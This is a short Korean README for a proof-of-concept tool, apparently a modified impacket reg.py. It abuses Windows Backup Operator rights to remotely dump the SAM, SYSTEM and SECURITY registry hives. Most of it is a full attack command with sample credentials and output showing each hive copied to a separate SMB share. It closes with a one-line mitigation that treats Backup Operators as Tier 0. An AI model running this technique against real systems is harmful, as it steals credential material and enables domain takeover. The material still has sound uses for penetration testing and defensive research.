Backup Operator 레지스트리 백업을 통한 도메인 손상

Backup Operator 권한을 남용하여 원격으로 SAM, SYSTEM, SECURITY 하이브를 덤프하는 간단한 POC입니다.

연구 크레딧:

• @filip_dragovic
• @mpgn의 Windows PoC에서 포팅됨

사용법

이 개념 증명(PoC)은 impacket/examples/reg.py의 수정된 버전이며, 가장 최신 impacket 릴리스가 설치된 상태에서 작동합니다. 지원되는 모든 impacket 인증 메커니즘이 작동합니다.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

해결 방법:

Backup Operators 도메인 그룹을 Domain Administrators 및 기타 Tier 0 리소스와 동일한 수준으로 취급하십시오.